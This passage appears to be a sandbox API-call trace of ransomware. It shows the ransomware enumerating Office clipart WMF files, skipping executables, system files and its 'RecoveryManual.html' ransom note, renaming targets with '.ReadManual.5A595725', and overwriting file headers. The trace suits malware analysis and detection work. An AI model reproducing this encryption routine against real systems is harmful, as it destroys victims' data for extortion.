ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152568.WMF", cAlternateFileName="")) returned 1 [0267.085] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152568.WMF" | out: lpString1="J0152568.WMF") returned="J0152568.WMF" [0267.085] lstrcmpiW (lpString1="J0152568.WMF", lpString2="RecoveryManual.html") returned -1 [0267.085] StrStrIW (lpFirst="J0152568.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.085] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.085] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.085] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.085] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.085] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.085] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.085] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.085] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.085] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.085] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.085] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.085] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.085] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.085] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.085] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" [0267.085] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF.ReadManual.5A595725" [0267.085] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF.ReadManual.5A595725") returned 87 [0267.085] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38775402304) returned 1 [0267.085] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf")) returned 0x20 [0267.086] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.086] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3696) returned 1 [0267.086] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe70, lpName=0x0) returned 0x184 [0267.087] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.087] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.087] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.089] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.090] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe70) returned 0x2f0000 [0267.090] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.090] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38775855377) returned 1 [0267.090] CloseHandle (hObject=0x184) returned 1 [0267.090] SetSecurityInfo () returned 0x57 [0267.090] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.090] CloseHandle (hObject=0x194) returned 1 [0267.090] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd28, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152570.WMF", cAlternateFileName="")) returned 1 [0267.090] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152570.WMF" | out: lpString1="J0152570.WMF") returned="J0152570.WMF" [0267.090] lstrcmpiW (lpString1="J0152570.WMF", lpString2="RecoveryManual.html") returned -1 [0267.090] StrStrIW (lpFirst="J0152570.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.090] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.090] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.090] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.090] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.090] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.090] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.090] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.090] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.090] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.091] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.091] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.091] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.091] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.091] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.091] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" [0267.091] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF.ReadManual.5A595725" [0267.091] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF.ReadManual.5A595725") returned 87 [0267.091] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38775954369) returned 1 [0267.091] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf")) returned 0x20 [0267.092] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.092] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3368) returned 1 [0267.092] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd28, lpName=0x0) returned 0x184 [0267.092] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.093] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.093] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.095] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.095] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd28) returned 0x2f0000 [0267.095] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.095] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38776371271) returned 1 [0267.095] CloseHandle (hObject=0x184) returned 1 [0267.095] SetSecurityInfo () returned 0x57 [0267.095] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.095] CloseHandle (hObject=0x194) returned 1 [0267.095] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ab4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152590.WMF", cAlternateFileName="")) returned 1 [0267.095] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152590.WMF" | out: lpString1="J0152590.WMF") returned="J0152590.WMF" [0267.095] lstrcmpiW (lpString1="J0152590.WMF", lpString2="RecoveryManual.html") returned -1 [0267.095] StrStrIW (lpFirst="J0152590.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.095] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.095] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.095] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.096] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.096] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.096] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.096] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.096] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.096] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.096] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.096] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.096] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.096] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.096] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.096] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" [0267.096] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF.ReadManual.5A595725" [0267.096] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF.ReadManual.5A595725") returned 87 [0267.096] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38776470763) returned 1 [0267.096] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf")) returned 0x20 [0267.096] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.096] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10932) returned 1 [0267.096] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ab4, lpName=0x0) returned 0x184 [0267.097] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.097] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.097] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.099] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.099] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2ab4) returned 0x2f0000 [0267.099] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.100] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38776828783) returned 1 [0267.100] CloseHandle (hObject=0x184) returned 1 [0267.100] SetSecurityInfo () returned 0x57 [0267.100] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.100] CloseHandle (hObject=0x194) returned 1 [0267.100] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152594.WMF", cAlternateFileName="")) returned 1 [0267.100] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152594.WMF" | out: lpString1="J0152594.WMF") returned="J0152594.WMF" [0267.100] lstrcmpiW (lpString1="J0152594.WMF", lpString2="RecoveryManual.html") returned -1 [0267.100] StrStrIW (lpFirst="J0152594.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.100] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.100] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.100] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.100] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.100] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.100] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.100] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.100] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.100] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.100] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.100] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.100] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.100] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.100] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.100] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" [0267.100] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF.ReadManual.5A595725" [0267.100] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF.ReadManual.5A595725") returned 87 [0267.100] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38776927818) returned 1 [0267.101] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf")) returned 0x20 [0267.101] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.101] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6340) returned 1 [0267.101] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18c4, lpName=0x0) returned 0x184 [0267.101] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.102] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.103] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.106] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.107] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18c4) returned 0x2f0000 [0267.107] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.107] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38777558755) returned 1 [0267.107] CloseHandle (hObject=0x184) returned 1 [0267.107] SetSecurityInfo () returned 0x57 [0267.107] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.107] CloseHandle (hObject=0x194) returned 1 [0267.107] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2628, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152600.WMF", cAlternateFileName="")) returned 1 [0267.107] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152600.WMF" | out: lpString1="J0152600.WMF") returned="J0152600.WMF" [0267.107] lstrcmpiW (lpString1="J0152600.WMF", lpString2="RecoveryManual.html") returned -1 [0267.107] StrStrIW (lpFirst="J0152600.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.107] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.107] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.107] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.107] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.107] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.107] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.108] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.108] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.108] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.108] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.108] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.108] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.108] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.108] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.108] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" [0267.108] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF.ReadManual.5A595725" [0267.108] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF.ReadManual.5A595725") returned 87 [0267.108] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38777663961) returned 1 [0267.108] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf")) returned 0x20 [0267.108] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.109] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9768) returned 1 [0267.109] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2628, lpName=0x0) returned 0x184 [0267.109] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.111] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.111] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.113] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.113] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2628) returned 0x2f0000 [0267.113] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.113] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38778207419) returned 1 [0267.113] CloseHandle (hObject=0x184) returned 1 [0267.113] SetSecurityInfo () returned 0x57 [0267.114] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.114] CloseHandle (hObject=0x194) returned 1 [0267.114] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1884, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152602.WMF", cAlternateFileName="")) returned 1 [0267.114] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152602.WMF" | out: lpString1="J0152602.WMF") returned="J0152602.WMF" [0267.114] lstrcmpiW (lpString1="J0152602.WMF", lpString2="RecoveryManual.html") returned -1 [0267.114] StrStrIW (lpFirst="J0152602.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.114] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.114] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.114] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.114] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.114] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.114] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.114] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.114] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.114] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.114] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.114] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.114] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.114] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.114] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.114] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned="\\\\?\\c:\\Program 